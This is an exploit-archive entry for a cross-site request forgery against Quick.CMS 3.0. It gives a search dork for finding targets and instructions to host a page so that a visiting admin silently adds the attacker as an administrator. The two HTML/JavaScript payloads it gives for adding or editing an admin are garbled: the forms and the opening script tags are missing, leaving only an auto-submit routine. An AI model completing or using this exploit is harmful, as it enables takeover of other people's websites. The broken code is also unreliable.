发布 2011-04-26 漏洞条目

Quick.CMS 3.0 – Cross-Site Request Forgery

Exploit Source

#(+) Exploit Title: Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)

#(+) Author : ^Xecuti0n3r

#(+) E-mail : xecuti0n3r()yahoo.com

#(+) Category : Web Apps [XSRF]

#(+) Dork : intext:"Quick.Cms v3.0" inurl:admin.php

#(+) Demo CMS Link: http://opensolution.org/Quick.Cms

1 ######################################### 1

0 I'm ^Xecuti0n3r member from Inj3ct0r Team 1

1 ######################################### 0

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#All you have to do is save the below code as exploit.html

#Then Host a website with the exploit.html file. A person with admin permissions if visits the site,

# will automatically add the attacker as Admin without warning ;)

____________________________________________________________________

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</title>

</head>

function fireForms()

{

var count = 2;

var i=0;

for(i=0; i<count; i++)

{

document.forms[i].submit();

}

</script>

<H2>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</H2>

</form>

</body>

</html>

EDIT USER:

#All you have to do is save the below code as exploit.html

#Then Host a website with the exploit.html file. A person with admin permissions if visits the site,

# will automatically add the attacker as Admin without warning ;)

____________________________________________________________________

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</title>

</head>

function fireForms()

{

var count = 2;

var i=0;

for(i=0; i<count; i++)

{

document.forms[i].submit();

}

</script>

<H2>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</H2>

</form>

</body>

</html>

########################################################################

(+)Exploit Coded by: ^Xecuti0N3r

(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r

(+)Gr33ts to : Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) + All the 31337 Members :)

(+)<3 to :Indian Cyber Army & Indishell Crew

########################################################################

作者: ^Xecuti0N3r
日期: 2011-04-26
类别: webapps
平台: php

相关漏洞条目

MikroORM 7.0.13 – SQL Injection

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

Langflow 1.3.0 – Remote Code Execution

Prodigy Commerce 3.3.0 – Local File Inclusion